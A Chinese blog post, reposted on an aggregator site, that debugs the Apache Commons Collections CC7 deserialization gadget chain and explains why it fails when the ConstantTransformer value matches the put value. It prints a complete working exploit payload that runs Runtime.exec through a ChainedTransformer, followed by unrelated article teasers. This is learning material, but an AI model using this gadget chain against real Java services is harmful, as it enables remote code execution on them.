CC7关于ConstantTransformer返回值不能和put一样的分析

CC7关于ConstantTransformer返回值不能和put一样的分析

前言

实验室的gaorenyusi也是学到cc7的时候问了我一个很好的问题,我当时学的时候没有在意,然后就去调试分析解决了一下

分析

首先是paylaod

package CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;public class CC7test {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};ChainedTransformer cha = new ChainedTransformer(transformers);HashMap map1 = new HashMap();HashMap map2 = new HashMap();Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);Lazy1.put("yy",3);Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(3));Lazy2.put("zZ",3);Hashtable hashtable = new Hashtable();hashtable.put(Lazy1,"ljl");hashtable.put(Lazy2,"oywl");Lazy2.remove("yy");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(Lazy2, cha);serilize(hashtable);deserilize("111.bin");}public static void serilize(Object obj)throws IOException {ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}

就是利用我们的ConstantTransformer(3)来返回一个常数,导致不会恶意调用

但是我们发现一个问题,就是当我们的ConstantTransformer(3)返回值和我们的Lazy2.put(“zZ”,3);的value一样的时候是不会弹出计算器的,这是为什么呢?

我们调试分析一下

我们倒着来看,到底是哪里出现了问题

来到我们的readObject方法,按道理来讲是需要调用两次reconstitutionPut(table, key, value);才能触发我们的恶意方法

因为我们要触发equals,肯定是两个在比嘛,但是我们这里只触发了一次

image-20240629154757914

原因是我们的元素个数只要一个

image-20240629154851424

这个是和我们的输入流有关系的

 int elements = s.readInt();

我详细的跟进去看了一下

过于复杂了,是根据我们的buf也就是输入流

这里我直接把值给拿出来了,这个buf就是我们的hashtable,只有一个地方不一样,就是我们的1和2

也对应着我们的elements

[0, 0, 0, 11, 0, 0, 0, 1, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]

[0, 0, 0, 11, 0, 0, 0, 2, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]

那我们就回到序列化过程,找找和ConstantTransformer相关的地方,无疑是我们的第二个put调用equals的时候触发了它的transfrom方法返回了3

重点来到

if (!value.equals(m.get(key)))return false;
}

触发我们的transform返回了3

image-20240629155442588

而我们put的value也是3,倒着这个if不成立最后返回了ture

如果返回为ture的话这里就会认为是一个old的对象,判断和我们的前面是一样的,是不会去调用addEntry给table增加键值对的,问题的根源就在这个地方了,倒着我们反序列化的时候元素只有一个

image-20240629155607150

里就会认为是一个old的对象,判断和我们的前面是一样的,是不会去调用addEntry给table增加键值对的,问题的根源就在这个地方了,倒着我们反序列化的时候元素只有一个

[外链图片转存中…(img-bO6s0jZq-1719648119690)]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/37504.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

三英战吕布 | 第5集 | 温酒斩华雄 | 竖子不足与谋 | 三国演义 | 逐鹿群雄

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 &#x1f4cc;这篇博客分享的是《三国演义》文学剧本第Ⅰ部分《群雄逐鹿》的第5️⃣集《三英战吕布》的经典语句和文学剧本全集台词 文章目录 1.经典语句2.文学剧本台…

【Python数据分析】Pandas_数据重采样

数据重采样是将时间序列从一个频率转换至另一个频率的过程&#xff0c;它主要有两种实现方式&#xff0c;分别是降采样和升采样&#xff0c;降采样指将高频率的数据转换为低频率&#xff0c;升采样则与其恰好相反&#xff0c;说明如下&#xff1a; 方法说明降采样将高频率(间隔…

MySQL之如何定位慢查询

1、如何定位慢查询 1.1、使用开源工具 调试工具&#xff1a;Arthas 运维工具&#xff1a;Promethuss、Skywalking 1.2、MySQL自带慢日志 慢查询日志记录了所有执行时间超过指定参数&#xff08;long_query_time&#xff0c;单位&#xff1a;秒&#xff0c;默认10秒&#x…

小白上手AIGC-基于PAI-DSW部署Stable Diffusion文生图Lora模型

小白上手AIGC-基于PAI-DSW部署Stable Diffusion文生图Lora模型 前言资源准备开启体验服务创建工作空间 部署服务创建DSW实例安装Diffusers启动WebUI 写在最后 前言 在上一篇博文小白上手AIGC-基于FC部署stable-diffusion 中&#xff0c;说到基于函数计算应用模板部署AIGC文生图…

python基础语法 004-1流程控制- 条件控制

1 条件控制 1.1 表达 条件表达式冒号缩进 1.1.1 单个条件&#xff1a;满足表达式 """ ############if的表示 if 条件表达式:(缩进)条件满足以后要运行的代码例子: #遇到冒号要缩进 #缩进&#xff1a;1个缩进用4个空格&#xff0c;整个篇幅缩进需要统一 #4个…

C++版本号处理1 - 判断一个字符串是否为版本号

1. 关键词2. verutil.h3. verutil.cpp4. 测试代码5. 运行结果6. 源码地址 1. 关键词 关键词&#xff1a; C 版本号处理 版本号判断 跨平台 实现原理&#xff1a; 使用正则表达式进行版本号匹配。 应用场景&#xff1a; 判定一个字符串是否是指定的版本号格式 2. veruti…

Python 使用函数输出一个整数的逆序数

在Python中&#xff0c;你可以定义一个函数来输出一个整数的逆序数。这里有一个简单的实现方法&#xff1a; def reverse_integer(x):# 检查输入是否为整数if not isinstance(x, int):raise ValueError("Input must be an integer")# 将整数转换为字符串&#xff0c…

高效管理Python依赖:将pip源切换至Amazon S3

Python的包管理工具pip在安装和更新包时&#xff0c;通常使用PyPI&#xff08;Python Package Index&#xff09;作为默认源。然而&#xff0c;在某些情况下&#xff0c;直接使用默认源可能会遇到速度慢或访问不稳定的问题。为了解决这些问题&#xff0c;用户可以将pip的源切换…

揭开统计分析的秘密:独立样本和配对样本T检验实战案例

一、独立样本T检验 1.收集20名学生的自信心值 见下表&#xff0c;试问该指标是否与性别有关&#xff1f;&#xff08;非参数检验或参数检验&#xff09; 数据值 性别 1&#xff0c;1&#xff0c;1&#xff0c;1&#xff0c;2&#xff0c;2&#xff0c;1&#xff0c;1&#…

国产操作系统上netstat命令详解 _ 统信 _ 麒麟 _ 中科方德

原文链接&#xff1a;国产操作系统上netstat命令详解 | 统信 | 麒麟 | 中科方德 Hello&#xff0c;大家好啊&#xff01;今天给大家带来一篇在国产操作系统上使用netstat命令的详解文章。netstat是网络统计&#xff08;network statistics&#xff09;的缩写&#xff0c;它是一…

【股指期权投教】一手股指期权大概多少钱?

一手股指期权的权利金大概在几千人民币左右&#xff0c;如果是作为期权卖方还需要另外缴纳保证金的。国内的股指期权有三种&#xff0c;沪深300、上证50、中证1000股指期权&#xff0c;每点合约人民币100 元。 期权合约的价值计算可以通过此公式得出&#xff1a;权利金的支付或…

软件工程实验

实验环境和需求 用户可以对相片进行按类别管理&#xff0c;用户可以设定不同的类别&#xff0c;然后上传照片到相应的类别中&#xff0c;并能进行照片的删除&#xff0c;注释 运行 运行并访问 localhost 8090,图片在数据库中的信息是D&#xff1a;/upgrade 后面的内容 se…

windographer数据操作教程

目录 通道设置将4个windographer文件拼到一起映射关系通道设置 先把风速列选中,将Type改为 wind speed 无需额外操作,确认一下即可

QT4-QT5(6)-const char* QString 乱码转换

我简单粗暴的给出个结论&#xff1a; QString GBK编码正常&#xff0c;可以转UTF-8编码&#xff0c;但会有少量乱码。 const char* 编码就不要转编码&#xff0c;转哪个都是乱码。 UTF-8.cpp 下 1.QString GBK->UTF-8 2.const char * GBK->UTF-8 const char *…

数据可视化在智慧园区中的重要作用

在现代智慧园区的建设和管理中&#xff0c;数据的作用越来越重要。智慧园区利用物联网、云计算、大数据等技术&#xff0c;实现了园区各类信息的实时采集和处理。数据可视化作为数据处理和展示的重要工具&#xff0c;为智慧园区的各个方面提供了强有力的支持。 首先&#xff0c…

mybatis的高级映射

mybatis的高级映射(重点) 表与表之间的关系&#xff1a; 一对一关系&#xff1a; 栗子&#xff1a;一个人对应一个身份证号 一对多关系&#xff1a; 栗子&#xff1a;一个用户可以有多个订单 1. 分析需求&…

[深度学习] 自编码器Autoencoder

自编码器&#xff08;Autoencoder&#xff09;是一种无监督学习算法&#xff0c;主要用于数据的降维、特征提取和数据重建。自编码器由两个主要部分组成&#xff1a;编码器&#xff08;Encoder&#xff09;和解码器&#xff08;Decoder&#xff09;。其基本思想是将输入数据映射…

文心一言 VS 讯飞星火 VS chatgpt (290)-- 算法导论21.3 3题

三、给出一个包含 m 个 MAKE-SET 、UNION 和 FINDSET 操作的序列(其中有 n 个是 MAKE-SET 操作)&#xff0c;当仅使用按秩合并时&#xff0c;需要 Ω(mlgn) 的时间。如果要写代码&#xff0c;请用go语言。 文心一言&#xff1a; 在并查集&#xff08;Union-Find&#xff09;数…

JAVA学习-练习试用Java实现“字符串相乘”

问题&#xff1a; 给定两个以字符串形式表示的非负整数 num1 和 num2&#xff0c;返回 num1 和 num2 的乘积&#xff0c;它们的乘积也表示为字符串形式。 示例 1: 输入: num1 "2", num2 "3" 输出: "6" 示例 2: 输入: num1 "123"…

CesiumJS【Basic】- #026 加载kml/kmz文件

文章目录 加载kml/kmz文件1 目标2 代码2.1 main.ts3 资源加载kml/kmz文件 1 目标 加载kml/kmz文件(kmz是kml的压缩格式) 2 代码 加载CesiumJS【Basic】- #025 生成kml/kmz文件导出生成的entities.kml/kmz文件,并修改点、线、面元素的颜色 2.1 main.ts import * as Ces…